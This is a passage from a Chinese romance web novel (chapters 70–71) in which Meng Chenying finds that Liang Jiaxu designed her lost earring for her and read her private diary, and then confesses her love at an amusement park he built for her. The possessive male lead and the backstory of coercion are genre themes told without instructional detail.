她站在迷宫的起点,但,这也是她第一次为了一个人,尝试走进这座对她而言错综复杂的迷宫。 葱郁的树叶被雨水疯狂灌溉,过大的雨势掩住砰砰乱蹦的心跳声,两人面对面而立,瞳孔里映出彼此。 梁嘉序眼底一点点染上笑,唇角微勾:“我的时间都给你。” “孟尘萦,你要努力,不可以半途而废。” 第70章 第 70 章 那个女孩就是你。 周末, 孟尘萦特地陪钱晓语去试婚纱,钱晓语有很严重的选择困难症,关乎自己婚礼的事她看得极其重要, 一环都不愿意出错。 “萦萦,你的眼光比较好,可以帮我做一做选择啊。”钱晓语指着面前几身她选择不出来的婚纱, 为难说:“我不知道哪一身更合适我。” 孟尘萦道:“你都一套套试吧,婚纱穿上身才能知道效果。” “你未婚夫呢?” “还在来的路上, 我们先试吧,婚纱比较麻烦。” 孟尘萦笑笑:“好, 我进去陪你一起。” 整个下午, 孟尘萦陪钱晓语试了好几套婚纱,钱晓语连着几套都很满意, 等未婚夫来了后,情侣二人再一同试装。 孟尘萦看着两人的搭配, 觉得目前身上这套最为合适, 她询问钱晓语的想法。 钱晓语想也没想, 直接拍案定下:“你说好看就行了,反正这几套我都喜欢, 就是下不了决定。” 孟尘萦弯唇笑:“等我, 我先拿我手机给你跟齐先生拍几张照片。” 孟尘萦返回休息区翻手机, 打开屏幕,正好看到有几通未接来电,都是梁嘉序打来的。 她手机没带身上,就没及时接听。 他便发了一条消息:【晚上有事,回来要很晚了,别等我, 你早点休息。】 孟尘萦正想要回复,钱晓语就把脑袋凑了过来,暧昧地哟了声:“不错啊,每天还给你报备行程,萦萦,你跟梁先生是不是也好事将近了?” 将近?跟她一样结婚?孟尘萦脸顿时燥热,摇头:“还没呢。” 她也压根就没想过跟梁嘉序结婚这些事。 钱晓语拉着孟尘萦坐下,认真问她:“你怎么想的呢?喜欢梁先生吗?” 孟尘萦说:“不讨厌了。” 这回答委实把钱晓语弄懵:“我还是第一次听到一对情侣,对自己另一半的评价是不讨厌了,那你不喜欢他,为什么要跟他回来,现在还在交往?” 她和梁嘉序的感情,跟寻常情侣不同。 别人谈恋爱是互相喜欢才交往,他们…… 所以她目前也不知道算什么,为什么会跟他回来?她的实话是,当时也是被他逼得没办法了,他在她面前几乎丢了半条命,把自己的心也掏了出来,当下情况,她不受动容那是不可能的。 那晚从梁家回来后,她也想好了,她想试着去爱梁嘉序。 说是要去爱他,但她也不知道要怎么爱他,她好像没办法做到像梁嘉序那样,爱得很热烈,张扬。 她要怎么回应他的感情?这才是她头疼的地方。 “晓语,你跟你未婚夫平时怎么相处?” 钱晓语摆弄着身上的婚纱裙摆,笑容灿烂说:“就很细水长流的相处啊,我们现在还没同居,就每天醒来聊几句再各自上各自的班,晚上如果收工早就会见面约会,在外面吃饭,和普通情侣一样没什么特别的。” 孟尘萦懵懵地喔几声:“这些我好像经历过啊。” 这不就是她跟周初皓的相处吗? “那我就用跟周初皓交往的方式跟梁嘉序相处就行了。” 钱晓语噗嗤笑出声:“梁先生能忍得了?你跟周初皓在一起的时候,我和南星都在怀疑你真喜欢他吗?你都没为周初皓吃过醋。” 孟尘萦抿抿唇:“可我也没为梁嘉序吃过醋。” 钱晓语认真道:“这样好了,假如啊,打个比方,假如你得知梁先生身边有个相识很久的小青梅,两人关系比亲兄妹还要亲近,小青梅无论出什么问题,你家那位看得极其重要,你什么想法?” 孟尘萦立刻回答:“这不可能,他那性子才不是会给小青梅善后的好人。而且他也没什么小青梅。” “……”钱晓语无奈扶额,笑说:“我说假如。你就撇开那些不谈,假如你们的关系里有一个影响到你们的第三个人,你会是什么心情?” 孟尘萦还真认真脑补了下,“那我退出。” “?”钱晓语吃惊问:“真的?” 她垂眸,有点烦闷地低语:“要是真有这种事,我绝对马上退出。” 明明只是一个测试,但她光是想象到梁嘉序身边会有别的女孩,就莫名很不爽,弄得她心情也不大好了。 钱晓语笑笑不语,一脸看穿:“我们萦萦什么时候陷进去了?看来自己都不知道呢?” “傻姑娘。”- 晚上返回璟兰园,孟尘萦洗漱后下楼抱着三只猫自娱自乐好一会儿,时不时看一下手机。 从下午给她发了那条消息后,梁嘉序就没联系她了。 好像他这段时间都挺忙的,自从那天去了梁家回来后,更忙了。 孟尘萦记得昨晚临睡前,她从浴室出来,意外听到梁嘉序在阳台接电话。 听内容是梁老爷子打来,让他明晚跟谁参加一个晚宴。 梁嘉序当时是拒绝了。 但,他今晚却因为有事,没有去西口街接她。 虽说通话内容听不出梁老爷子让他跟谁参加晚宴,但孟尘萦微妙地就想到钱晓语说的那些话,由此,她联想到梁老爷子说不定又给梁嘉序介绍了新的名门千金。 也不是没可能。 孟尘萦也不想乱想,但她刚才从佣人那听说了,下午梁嘉序回了一趟璟兰园又独自开车出去了,显然,晚上回来晚不是因为公司的事。 如此推测,她不难怀疑他是跟另外的女伴去参加晚宴了。 她在心里平静地想事情,这时佣人过来问要不要准备晚饭。 孟尘萦说要。 她中午就没怎么吃,晚上可不能饿着自己。 吃过晚饭,孟尘萦为消食,顺便去小木屋那牵着小彩在后院遛弯。 返回屋内已经九点了,梁嘉序还没回。 她最后看了一眼手机,他还是没联系她。 心里莫名生起故意跟他杠下去的不满,孟尘萦特地把手机关机,再上床睡觉。 深夜,半梦半醒间,孟尘萦睡得并不沉,她意识不太清醒时,隐约感觉身侧陷了下去。 男人伸手将她搂进怀里。 她几乎是条件反射地,依偎上这个拥抱,纤细的手臂从他腰间缠过去。 孟尘萦吸了吸鼻子,嗅到熟悉的香味,缓慢睁眼。 梁嘉序正看着她,冷峻的眉眼落下一层阴影。 她吓了一跳,眨眼问:“你什么时候回来的?” 梁嘉序把脸埋在她颈窝:“两点。” 两点? 孟尘萦抬眸看了眼时钟,现在是凌晨三点,不开心问他:“怎么这么晚才回啊?” “吵到你了?”他抬起头,吻从她的脸颊到唇瓣:“睡吧,很晚了。” 她稀里糊涂的,在他的吻中迷失,把心里的疑问抛之脑后。等第二天醒来,已经过了最佳询问他昨晚干什么去的时机了。 孟尘萦有点懊恼,恼自己为什么要在意这些。 要是他真跟别的女孩去参加晚宴,也跟她没什么关系,虽然他们正在交往,但交往是有期限的,严格意义上来说,她可以不用在意那些。 她完全可以全身而退。 是这样没错。 但孟尘萦发现自己整天都在想这些事,心不在焉地就连电话来了都没发现。 直到对面打来第三通,孟尘萦才回过神,她放下手里的裱花袋,拿手机出去接听。 电话是一串陌生号码打来。 她先是犹豫要不要接,等挂断后,对方又打来一通,很有耐心。 她只好点了接听:“喂,你好,哪位?” 听筒那段沉默了好几秒。 孟尘萦皱了皱眉,以为是骚扰电话,正要挂断,就听到那边不疾不徐响起熟悉的声音,似乎在笑:“孟尘萦,是我。” 孟尘萦楞了两秒,惊喜道:“舒锦?”- 舒锦特地选在西口街这条路的咖啡厅和跟孟尘萦见面。 “舒姐姐!”孟尘萦在门口就开心到笑着朝她招手。 一年多没见,舒锦剪掉了从前的长卷发,改成了齐肩直发,妆容比较清丽,较比从前明艳动人的气质,现在的她更加利落轻盈。 舒锦挑眉一笑:“你外表没什么变化嘛,不过认真看还是长大了不少。” 孟尘萦歪着脸求解答:“哪里长大了?我感觉自己除了长了年龄,根本没有任何变化。” 舒锦双腿交叠,把椅子拉了下朝她靠近:“我说的长大不是指外表,那是一种感觉,懂吗?从你刚才进入咖啡店起,那一瞬间,我眼前铮地一亮,比起你从前那清冷柔弱的气质,现在的你眼神里更加坚定,更让人挪不开眼。” “你瞧,好多男的女的在偷偷看你。” 孟尘萦低脸忍笑:“对了,你怎么忽然回京市了?我上次收到你消息,你还说去了海城。” 舒锦:“我男朋友工作调到京市了,正好我的工作比较自由不受拘束,就跟他一块过来。” 孟尘萦面露诧异,又笑:“交男朋友啦?真好!恭喜你啊!” 舒锦一副沉浸在爱情中的模样,啧啧摇头:“有什么好恭喜,谈恋爱也挺累人的,我家那位年龄比我小几岁,弟弟可缠人了,我嫌他烦,今天也是难得能甩开他,正好就约你出来喝杯咖啡。” “怎么着,你跟梁先生又在一起了?” 孟尘萦愣住,问她:“又?你是怎么知道我们又分开过?” 舒锦喝了一口咖啡,瞥她:“还能有我不知道的?当初混了那个圈子,人脉我早就已经积攒下一些,想知道点梁先生的消息也不算难。” “我可听说,梁先生那一年多为了女朋友究竟是怎么个全世界到处飞的盛况啊。” 孟尘萦笑笑,说是的。 舒锦低头回了一条消息,再抬头看她:“他怎么找到你的?” 孟尘萦说不知道,“他就莫名其妙出现在我面前了,我没有任何准备,完全没想到。” 舒锦沉吟:“能让他找一年多,看来这次的确很难。” 孟尘萦说应该吧,因为有江静娴的帮忙她才能躲这么久。 她喝了一口美式,又问起舒锦的现状。 舒锦目前在做自媒体,工作较轻松,可以全国各地到处跑。 从这次交谈里,孟尘萦能感觉出来,舒锦的内心变化真的很大,整个人很松弛,眉眼里都散发着自在快乐。 舒锦自己提起当初怎么被梁巷明看上的,她是经过朋友的介绍进入了一个公子哥的圈,但没想到,那位公子哥给她下药,把她送到了梁巷明的床上。 第一次她顺利从梁巷明那里逃脱,但她却很天真地以为就这样过去了,直到一次意外,她被梁巷明发现踪迹,直接被他的人捉到酒店给绑起来了。 便是那次陷入困境,是孟尘萦出手解救了她。 但也是那次的逃跑,她彻底被梁巷明盯上,明里暗里不知找了多少人寻她的下落。 舒锦也是无可奈何,找遍了所有关系,总算让她盯上了一个可以跟梁巷明抗衡的男人。 那人就是谭延晋。 为求自保,她主动勾搭上谭延晋,才求得了护身符。 后面就是孟尘萦知道的那些情况。 在梁嘉序的帮助下,舒锦成功甩开了谭延晋和梁巷明的纠缠,有了自己的新生活。 “说来这事也是感谢你,不然梁巷明也不会放过我。” 孟尘萦没敢居功:“是梁嘉序帮的你,他三叔向来很怕他的。” 舒锦微笑:“不,是谢你,如果不是因为你,他才不会帮我,你该不会真以为他是什么大好人?” “孟尘萦,这事你应该很清楚。” 孟尘萦没反驳,也默认了。 算起来,梁嘉序的确帮助她很多,还帮助过她身边的人。 或许他们之间,就像他说的那句话一样。 他们相识不是在最好的时机,导致有了一个错误的开始,以至于,步步都错,才造就了后期这样的局面。 孟尘萦不知觉又在想梁嘉序。 这时,面前出现了一个小锦盒,是舒锦刚才放在桌上的。 孟尘萦疑惑问:“这是什么?” 舒锦挑眉:“你打开看看。” 孟尘萦拿起锦盒,翻开,里面装了一只她很熟悉的耳钻。 这正是她弄丢的那一颗梁嘉序送给她的耳钻。 她惊讶道:“这耳钻怎么在你这啊?” 舒锦说:“我当初出院后,医院的护士在我病房找到的,护士以为是我遗落的物品,就打电话联系我,我当时快要离开京市了,还以为真的是我的呢,就匆忙去医院取了来,没注意。” “这耳钻在我这保留一年多了,也一直没机会还给你。” 孟尘萦又惊又喜:“没想到还能找到,我以为早就不见,再也找不到了。” 舒锦含笑问:“这是梁嘉序送你的吗?” 她嗯了声:“当时弄丢那会,他还有点不开心,但后来也没跟我计较,他说这就是一枚普通的耳钻,掉了就掉了。” 舒锦意味深长,看着她眼睛说:“这耳钻设计很简单,外人看觉得没什么特别之处,但那颗钻挺值钱的,钻的形状也很特殊,不是奢侈品牌的,更像是私人设计。” 孟尘萦笑问:“舒姐姐,你还懂这些?” 舒锦耸肩:“我男朋友懂,他当时看了一眼,说这枚耳钻很特殊,一定是送给特别的人,他当时还吃醋,以为是我前男友给我的。” 孟尘萦似懂非懂,疑惑地看着这颗耳钻,思绪忽飘。 当初梁嘉序为她戴上耳钻的时候,没说什么特别之处,只说觉得适合她。 舒锦笑道:“既然找到了,你就还给他吧。” 孟尘萦没吭声。 舒锦笑笑不语- 跟舒锦分别后,孟尘萦独自走在这条西口街的路上,有点心不在焉。 走到店门口的时候,她忽然想起什么,拿起手机,再往外走,靠在墙角给江静娴打了一通电话。 “江阿姨。” 江静娴笑道:“小孟啊,找阿姨有事儿?” 孟尘萦轻声道:“阿姨,我一会发张图片给您,您能帮我看看,那是什么吗?” 挂断电话,她把耳钻的图片发给了江静娴。 江静娴秒回:【这是阿序几年前亲自设计的耳钻,当时托人定制的。】 孟尘萦手在键盘敲了敲,不知道回复什么好。 江静娴又弹来一条消息:【我从我弟那打听过,这耳钻是阿序心里想着一个女孩设计的,后来设计好这对耳钻后,他就回国了。】 【阿姨猜测,那个女孩就是你。】 孟尘萦眼睫一颤,眸里揉着细碎的光芒。 她想起梁嘉序曾经跟她说过。 想了你四年。 惦记你四年。 为了你回国。 原来关于喜欢她这事,他一直说的是真话。 第 71 章【VIP】 第71章 第 71 章 她喜欢梁嘉序,好喜欢。…… 好像在这一刻起, 这颗耳钻对她而言极其的贵重,并不是用金钱来衡量的贵重。这是承载了梁嘉序心意的精心设计,全世界独一无二的耳钻。 这么重要的耳钻, 当初被她弄丢后,他竟是没有计较。 孟尘萦心情有点微妙。 所谓一见钟情,一直在她看来只是见色起意, 她从不相信有人第一眼就能爱上对方。 从梁嘉序回国,他们在京市重逢起, 他的目的都一直很直接坦荡。 他说他想要她。 为了这个目标,他费尽心思, 用尽下作手段。 起初他的种种行为, 让她又惧又怕,跟他的每一次相处她都觉得难受又窒息, 她不知道这究竟是个什么样的男人,她又为什么会这么倒霉, 什么也没做, 偏偏招惹上他。 他不正常的, 那时,她给他的标签只有疯子, 神经病。 她当初很无助很迷茫, 又逃不离梁嘉序的身边, 只能等他对她腻味后,再放她离开。 她的两次逃离,都是靠身边人的帮助,她很清楚,以她自己的能力,很难逃离梁嘉序的掌控。 她没什么手段, 没阅历,还没有任何依靠,那时候的她碰上梁嘉序,没有任何反击能力,她总觉得自己时刻就像浮在一叶扁舟里,摇摇晃晃,自己的人生都无法被自己握在手中。 她平淡的生活,彻底被这个疯男人毁了。 她恨得不行。 孟尘萦从前会想,梁嘉序出现在她的人生中,大概是老天给她最难捱的考验。 而现在,她也会想。 她出现在梁嘉序的人生中,对他意味什么?爱吗? 孟尘萦很确定。 他是真的很爱她,他的爱她能看见,能感受到,并非虚无缥缈的。 但她对爱,实则是很迷茫困惑的,一直以来,她对感情的要求不太多,合适是她第一诉求,她甚至也想过,她这一生会这样平淡至死。 很难波动的心,其实对爱有一种抵触心理。 孟尘萦就是那样。 而梁嘉序,他的爱是执着的,浓烈的,偏执的,疯狂的,且让她难以应对的。 可同时,她能深刻地体会到被他爱着的感觉。 这颗耳钻在她手心里,如此坚定地躺着。 她垂眸看了片刻,心里像被撕了一口子,有什么东西,在拼命地钻了进去。 她想了许久许久,从他们在伦敦的第一次见面,再到京市他蓄意重逢后的纠缠。从她对梁嘉序的陌生,厌恶,恐惧,怨恨,再到现在转变成,好奇,在意,想念,想主动朝他靠近,和无法控制的心动。 他好像就是这样,悄悄在她的心里埋下了种子。 究竟是什么时候生根发芽,她全然不知。 她什么都没管,放任着,而梁嘉序,便负责在她心里为那颗种子浇水灌溉。 直到它发了芽,悄然成长。 孟尘萦没忍住笑。 她靠在店外面的墙,出了好一阵的小差,竟是都在想梁嘉序- 傍晚左右,黄昏的彩霞弥漫。 接孟尘萦回璟兰园的车子如期而至,孟尘萦跟店里的员工打了声招呼,踩着晚霞上车。 梁嘉序在车内处理工作资料,熟稔地先把她拉进怀里,掀眸看她:“晚上想吃点儿什么?” 孟尘萦不自在地拨下右边耳边的长发,“还不太饿,要不晚点吃宵夜吧。” 他应了声,便继续忙碌自己的工作了。 孟尘萦偎他怀里,本来想小憩一会,但现在精神还挺饱满,似不经意问:“梁嘉序,我当时把你那颗耳钻弄丢了,你真的不找我要回来吗?” 梁嘉序漫不经心道:“这很重要么?你要是喜欢,我可以再给你设计一对。” 孟尘萦一下愣住,没想到他就这样脱口而出。 他还在忙碌自己工作中,却还是抽空回应她:“这次问你本人比较方便,你喜欢哪种样式?” 孟尘萦垂眸:“我……” 她还在犹豫怎么回答,这时手机一震,收到一条消息。 孟尘萦坐起身,从口袋里掏出手机。 微信是蓝芷发来的。 看到这名字,她先是拧了下眉,再点开消息。 蓝芷:【姐,上次的事是我不好,我不该跟你闹。但还有一件事,我一直忘了跟你说。你男朋友在一年多前去咱们家那次,在你的卧室里翻到了你藏起来的密码本。】 【姐,我知道那个密码本对你很重要,我不准他动,他也强行带走了。】 密码本…… 那个密码本,记载了她从幼时起很多心事和秘密,她从没有交给过任何人,甚至还想过,哪天死了也要跟她一起埋到土里,不让任何人看到的程度。 她缓缓看向梁嘉序。 多么凌厉的眉目,冰冷的侧脸,凉薄的眼神。 所以,这就是他为什么会知道她心里的秘密,会明白她所有的小心思,这就是他为什么知道,她最想去游乐园的原因吗? 不是误打误撞,是因为他早就已经窥探了她深藏起来的秘密。 他在她不知情下,窃取她的隐私,夺走她宁死都要带走的那些小秘密。 她的日记里,不知道记载了多少她那些黑暗面,和扭曲到不能见光的心思。 全被他看到了。 她感到一股寒凉从头顶浇下,四肢冰冷。 没人会愿意知道自己藏起来的所有秘密和小心思被另一个人看到,她忽然感到无地自容,不知道该怎么面对梁嘉序。 许久没听到她回应,梁嘉序侧眸望过来,还在笑:“怎么了?” 孟尘萦呼吸一沉,问他:“你是不是拿走了我的密码本?” “啪”地一声,手指重重敲上键盘,停住。 车内,归于寂静。 梁嘉序沉默几秒,没否认:“对。” 孟尘萦静静地看向他,想听他的解释,可同时她心里也无比清楚,无论什么解释,她都没办法接受自己的秘密被另一个人知晓。 他偷看了她的秘密,竟还一直在她面前当没事人。 多么会伪装的男人啊。 梁嘉序安抚她:“你别生气。至于密码本,我一直收在我们的房间里,你想要,回去我可以还给你。” “还给我?”孟尘萦嘲笑:“但你还是看了不是吗?你没经过我的同意,窃取我的秘密,梁嘉序,你怎么可以这样……” 她一点都不想自己记录下来的那些事被梁嘉序看到。 因为她的密码本里没有什么阳光快乐,让人心坎儿软塌塌的一面,全部都是她的树洞,全是她没有向任何人展现过的阴暗,扭曲的一面,她很坏,她曾在密码本上写过讨厌自己父母,讨厌继父讨厌妹妹,她不懂事时,还写过希望那些让她不好过的人,全部都去死! 还曾有很多中二发言,很多很多她不愿回想的一切。 竟然被梁嘉序看到了…… 她想,没有哪个人能接受自己喜欢的人有这样难堪的一面。 看了密码本,梁嘉序是不是也对她曾有过失望?是不是在想,其实她孟尘萦并不像外表看起来那么善良,他会不会因为那些阴暗面对她产生失望的想法。 她开始在意自己在梁嘉序心里的形象了。 孟尘萦越想越崩溃,声音嘶哑道:“我知道啊,你总是这样,轻易地掌控我,我的所有都是你的,我也是你的,你当然觉得无所谓。可你能不能稍微替别人想一想?没人会希望自己的秘密被另一个人看到,梁嘉序,如果有一天我得知了你所有所有的秘密,你会怎样?” 梁嘉序黑眸沉静:“你想知道,我可以毫无保留的告诉你。” 看,多么淡然自若的啊。 也是,没人能像他一样,生来就在顶端,有最让人艳羡的家世,有最疼爱宠爱他的父母,他拥有了旁人这辈子都梦寐以求的一切,他的人生哪有什么不能见人的。 她说不过梁嘉序,只能独自生着闷气,往边上坐。 她又在用自己的方式推开他,想要逃离他。 梁嘉序脸色一沉,吩咐:“坐过来。” 孟尘萦不语,当没听见。 梁嘉序捉住她手腕,把她拉入怀里圈住:“闹脾气了?这事儿是我做的不对,你想怎么生气都行,但别不理我,也别远离我。” 他只有六个月的时间,剩下可能就不到三个月了。 从定下这个约定起,他几乎时时刻刻都在跟时间赛跑,他不想把他们宝贵的时间都用在生闷气和远离他上面。 孟尘萦推开他,垂眸说:“你先给我时间冷静一下吧,这事太突然了。” 比起生气,她现在更多的是无地自容,她不敢面对梁嘉序,所以她需要时间去消化。 梁嘉序却不给她时间,他将腿上的笔记本往边上一丢,身子倾来将她压在身前,声音低哑:“孟尘萦,你想要时间,告诉我,多久。” “是六个月一到你就离开,在等这个时间?” “你那天说要我给你时间,你想试着爱上我,是骗我的?” 孟尘萦心里不断冒苦水,忽然也很生气,他为什么又要这样逼迫她,他们这段时间关系分明在慢慢好转了。 可他显然又很急,他在急什么? 孟尘萦眼眶不知觉堆上泪意,没忍住,委屈地问他:“你那天晚上干什么去了?” 梁嘉序神色一怔,看着她眼里快要落下来的伤感:“哪天?” 孟尘萦气得瞪他:"凌晨两点回来的那一天。” 其实就是昨天的事儿,想到她憋了好半天,到吵架了才没忍住问出来,梁嘉序心里被她可爱到撞了一下。 方才生出的那点儿暴戾,也被她化解。 他眉梢衔笑:“你又觉得我干什么去了?孟尘萦,好奇你男人行程了?” 孟尘萦气鼓鼓地把脸一撇,声音很小,带着点哭腔:“谁好奇了,随口一问,不想说就算了。” 她很少表现出在意他的点,梁嘉序自然很敏锐地察觉到:“你真的很想知道我去哪儿了?” 孟尘萦还在生闷气:“不想知道,管你去跟谁参加晚宴了,跟我没关系。” 她快气死了,也委屈死了,也想好了,六个月一到她就提出分手! 她不喜欢这种情绪被梁嘉序支配的感觉,越跟他相处,愈发觉得脱离自己的掌控,她竟然也开始生起了占有欲。 她不想看到梁嘉序跟任何女人有瓜葛。 她还在生气,迟来了很久的气一股脑涌上来,竟是让她险些忘了秘密被他窃取的愤怒。 梁嘉序忽地扣住她手腕,吩咐司机下车。 司机把车子靠边停,梁嘉序让他另外打车回去,他拽着孟尘萦从后座下来,按进副驾驶。 从头到尾跟个土匪似的,不给她反抗的机会。 “梁嘉序!” 她被梁嘉序塞进副驾驶,又扣上安全带把她困住,“你干什么?” 梁嘉序坐进驾驶座,车子调头,往璟兰园的反方向行驶。 车速极快,她紧紧扒着扶手,紧张问:“你要带我去哪儿?” 梁嘉序眉目冷淡:“到了你就知道,要点儿时间,你先睡一觉。” 孟尘萦瞪着他:“你觉得我睡得着?梁嘉序,你是土匪么?” 梁嘉序勾唇笑了笑,很配合地,侧眸看她时眼里含着轻佻:“倒也不错,把你绑回家做我的压寨夫人,如何?” 孟尘萦愣住,声音微颤:“你这个神经病!我才不做你压寨夫人!” 她气急败坏跺了跺脚。 梁嘉序轻笑出声,觉得她这样恣意发脾气动怒的模样,也是说不出的可爱。 孟尘萦闹了一会,也累了。 天色已暗,她都分不清这条路要去哪儿,梁嘉序也不回答她,颇有种真要把她绑到山上去当压寨夫人的架势。 她又天马行空地想。 梁嘉序要是生活在古代,恐怕真的能做出这种事,现代的法律,把他本性压住了。 “在想什么?”他幽幽问。 孟尘萦淡声:“没什么。” 梁嘉序瞥她,嗤笑:“放心,不会真把你绑回山上当压寨夫人,现代社会没这玩意。” 孟尘萦:“……”- 车子四平八稳的行驶,不知开了多久,孟尘萦睡了一觉。 等她睁眼醒来,车子早已停下,她看了眼腕表,零点了? 从傍晚开车到了零点。 四周昏暗状况不明,孟尘萦分不清这是哪儿,最重要的是,驾驶座也没人。 梁嘉序不在。 孟尘萦掀开身上的毛毯,开门下车。 夜风轻微的吹拂,扬起她披散的长发,她茫然地站在车门边,看向前方男人的背影。 梁嘉序伫立在一片空旷之处,背影挺括晦暗。 她不太懂,先巡视四周,只能看到前面有一个扇巨大的门。 再定睛看了几圈,愈发觉得此处很熟悉。 这里,似乎是涟云。 她怎么会来涟云了? 她很疑惑,看向朝她走来的梁嘉序,“你把我带涟云来干什么啊?” 他垂眸睨她:“怎么,真怕我绑了你?” 她没吭声,心想这事他也不是做不出来。 孟尘萦的内心嘀咕,梁嘉序自然不知道,他这会的确没揣摩她内心。 从开车来到涟云的途中,他想了很多,将他们相识后所经历的一切在脑子过了一遍,也明白她为什么会得知密码本被他拿走后的气恼。 “你气我拿你的密码本窥探你的秘密,”梁嘉序扯了扯唇:“孟尘萦,我没办法。” “什么没办法。”孟尘萦不能接受,这个时候了他还在为自己做下的错事辩解。 夜色融融,他声音也低缓响起:“我用不正当手段得到你,你恨我怨我,从未对我表达过内心真实的想法,我想了解你,不得不用这个办法。” “我想走进你的心里,孟尘萦,”他凝着她眼底的光,似走投无路般问她:“你告诉我,除了我使用这个手段,还能怎么办?” 她的心门把他挡在外面,他想知晓她的曾经,她的童年,想知道她心里究竟在想什么,想更靠近她,想对她好。 孟尘萦讷讷问:“所以,你知道我很想去游乐园玩,就是在密码本上看到的么?” “可你知道吗?里面的很多东西我根本不想让你看到!” 她心底的那些委屈全部冲破自己闯了出来,很难过又绝望地说:“我不想让你看到我丑陋的那一面,不想让你知道我曾经写过那些很过分且黑暗的话,梁嘉序,我只想让你看到我好的那一面,你懂我的心情吗?” 空地安静到只能听到四周蟋蟀的虫鸣声,和呼呼而过的风声,孟尘萦没想那么多,情急之下把内心最真实的话说了出来。 梁嘉序默了片刻,压下眼底的黑,握住她手腕 牵她朝前走。 随着他的走近,那扇大门也自动打开,她才发现,原来里面有个门卫室里有人在操控开关。 大门打开后,一盏盏灯齐齐亮了起来,是孟尘萦从未在涟云见到过的场面。 那些设施器材在她眼前,她神色稍怔,好片刻才反应过来,这是,游乐园? 涟云又什么时候有了游乐园? 梁嘉序淡声启唇:“孟尘萦,这儿是我一年前为你打造的游乐园。” 孟尘萦心神一颤,看向身侧男人,他眉眼落下一层绚丽的灯光,显得凉薄又多情的眉眼格外的深邃。 “喜欢吗?” 孟尘萦许久没说话。 “你写过,你最想去的地方是游乐园,但你的家乡没有。” 他想为她满足童年的所有遗憾。 游乐园只是一个开始。 从看了密码本上她所记载的所有心事,他便已经下了这个决定。 这个礼物,本该早就送到她的手中。 她说不想自己丑陋的心思,阴暗的那一面被他看到,可他不觉得。 梁嘉序双手捧起她被夜风吹得发冷的脸庞,眉眼溶着柔色:“孟尘萦,你听着,那些不是你丑陋和黑暗的一面,通过那些文字,我只看到了一个孤独又真实的小女孩。” 一个让人心疼的小女孩。 她的过去没人真正在意过她,没人真正听过她的心声,没人想过她究竟想要什么。 她无处释放,她只能把自己的所有难过都记录在密码本上,把那当树洞,恣意地吐出心声。 她很真实,她受了委屈会想骂人,她讨厌一个人也会在密码本上写恨不得让那人去死,但气消了后,她又会写昨天都是开玩笑。 女孩没办法,她需要发泄心中的怨气。 丑陋吗?一点儿都不。 梁嘉序在那些简单的文字里,只看到了她的委屈,她的孤独,她的求救。 远处的旋转木马在开关启动下转动了起来,轻灵的音乐缓慢响起。 “啪嗒”、“啪嗒”泪水一滴滴砸落,晕染了地面。 梁嘉序垂眸看她,指腹接下她眼尾的泪珠。 面前的女孩,早已泪流满面,泣不成声。 她的泪水像收不住。 很多很多的泪,像是水做的,怎么会有这么多眼泪。 他喉结滚了滚,吻住她滑落的泪珠:“哭什么?” 孟尘萦咬着微抖的唇,很艰难才发出声音:“梁嘉序……” “你为什么为我做了这些?” 梁嘉序眉眼微压,“还能为什么?” 爱你。 他爱她,什么好的都想给她,她的遗憾,她的妄想,她的执念,和她的念念不忘。 是啊,他是爱她的。 她能感受到他独一无二的偏爱。 只是她确实没想到,当初为了得到她手段卑劣,也总是欺负她的梁嘉序,会真心付出行动为她做这么多。 为了能了解她,为了能走进她的心里,他费尽心思。 尽管一次次被她挡在门外,他也未曾放弃。 梁嘉序低声笑,气息钻进她唇齿里:“孟尘萦,你最近眼泪很多。” 他轻轻擦拭她脸颊的泪痕:“这里还没正式完工,我本来打算过段时间带你来看,但你在车上闹,又开始逃离我,让我不得不把计划提前。你问我凌晨两点回来那天做了什么,昨晚我来了趟涟云,就是为了这儿。” 孟尘萦望着他轻启的唇,心底攥紧,一鼓作气抓住他手腕,抚摸自己的右边脑袋。 他神色微怔,掌心轻微触碰她的黑发。 她继续用他的手,撩起自己右边的长发,露出一只莹白的耳垂给他看。 夜色下,耳垂雪白晃眼。 蓝钻的光在月光下泛着粼粼的光。 梁嘉序眉梢一扬:“怎么,这对耳钻不是掉了一只,怎么还戴着?” 孟尘萦还握着他手,没忍住,哭地像个孩子似的摇头:“不,这就是掉的那一只,一直在舒姐姐那,她今天还给了我。” 梁嘉序心尖被狠狠撞了一下。 孟尘萦脸庞微红,含着羞涩轻声说:“我知道这对耳钻是你回国后就最想送给我的礼物,也知道对你而言,意味着什么了。” 梁嘉序喉结滚动,眸色比夜色还黑:“所……” 他话还没说完,她便急忙打断,像情窦初开紧张无措的小女孩,眼睫眨了眨,很慌张又带着袒露的情意:“梁嘉序,我想,我好像早就不知不觉喜欢上你了。” 从主动为他戴上这颗耳钻起,她就明白了自己的心意。 她只是太害羞了,不知道怎么表达自己的感情,她顾虑的太多,考虑的太多,谨慎到都不知道该怎么去回应梁嘉序才好。 她开始为他迷失,生起了她从前最不齿的占有欲,她对梁嘉序生气,也不再是从前那种再也不想看到他的生气,更多的是气自己被他所影响情绪。 如果在意一个人,是他不在时想他,他在时也会想他,那么,她是在意梁嘉序的。 梁嘉序真好,对她而言,他比所有人都好。 他都不在意她的那些难堪面,她又有什么好无地自容的,她要抬起来,勇敢说。 她喜欢梁嘉序,好喜欢。 她是爱着梁嘉序。 关于这点,她无比确信。 梁嘉序呼吸渐渐放平,似乎全身的感官都在涌动,他的视线从她的耳垂,再缓缓挪至她脸庞,看着她含羞带怯的眼。 “不骗我。” 这三个字说的很轻,但又有他自身的那股狠劲儿,像是在威胁。 但这就是梁嘉序,他骨子里的压迫感。 孟尘萦踮起脚,主动吻上他冰冷的唇瓣。 很轻很柔的声音在他耳边绽放:“我喜欢你,梁嘉序。” 这种情感并非被眼前的一切感动到而匆忙生出,她对梁嘉序的感情,早就已经不知不渗透进心里。 他浓烈的爱意,让她深刻的体会到被他爱着,她接纳了他的爱,在他的爱中渐渐回应他的感情。 她这段时间迷茫又不知怎么回应他的爱,直到此刻才彻底醒悟,她最好的回应就是,她也爱梁嘉序。 原来互相喜欢是这样的感受…… 心里扑通扑通一下一下跳得很厉害,但这种心跳是雀跃的,兴奋的,甜蜜到恨不得满地打滚。 梁嘉序用力抱住她,似要将她揉进身体里。 这个拥抱,让她呼吸很不顺,但她却十分享受和他亲密接触的满足感。 整颗心被他塞得满满当当,太幸福了。 他下颌抵着她肩膀,恶狠狠又缠绵地说:“孟尘萦,不准骗我,不准再跑,也不准不爱我。” 孟尘萦眼睫湿润,用力回抱他:“我不骗你,我不会再跑,我会一直爱你。” 她从前胆怯爱,可现在,她愿意为了梁嘉序,说出爱。 